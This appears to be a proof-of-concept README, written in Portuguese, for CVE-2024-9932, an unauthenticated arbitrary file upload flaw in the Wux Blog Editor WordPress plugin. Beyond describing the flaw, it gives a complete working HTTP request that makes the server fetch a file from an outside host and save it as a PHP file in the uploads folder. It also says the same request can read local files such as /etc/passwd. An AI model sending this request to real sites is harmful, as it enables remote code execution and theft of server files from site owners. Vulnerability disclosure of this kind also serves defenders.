randomrobbiebf/cve-2024-9932Wux Blog Editor <= 3.0.0 - Upload arbitrário de arquivos não autenticado
Wux Blog Editor <= 3.0.0 - Upload Arbitrário de Arquivos Não Autenticado
O plugin Wux Blog Editor para WordPress é vulnerável a uploads arbitrários de arquivos devido à validação insuficiente do tipo de arquivo na função 'wuxbt_insertImageNew' em versões até, e incluindo, 3.0.0. Isso possibilita que atacantes não autenticados façam upload de arquivos arbitrários no servidor do site afetado, o que pode tornar possível a execução remota de comandos.
Link: CVE-2024-9932
State: PUBLISHED
Score: 9.8
CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
POST /wp-json/external-post-editor/v2/image-upload HTTP/1.1
Host: kubernetes.docker.internal
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:132.0) Gecko/20100101 Firefox/132.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://kubernetes.docker.internal/wp-admin/plugins.php?plugin_status=all&paged=1&s
Content-Type: application/json; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 165
Origin: http://kubernetes.docker.internal
Connection: keep-alive
{
"url": "https://rfi.nessus.org/rfi.txt",
"imageName": "rf.php",
"image_alt": "Description of the image",
"image_title": "Title of the image"
}
O arquivo foi parar em /wp-content/uploads/2024/11/rf.php
Você também pode fornecer um local de arquivo como /etc/passwd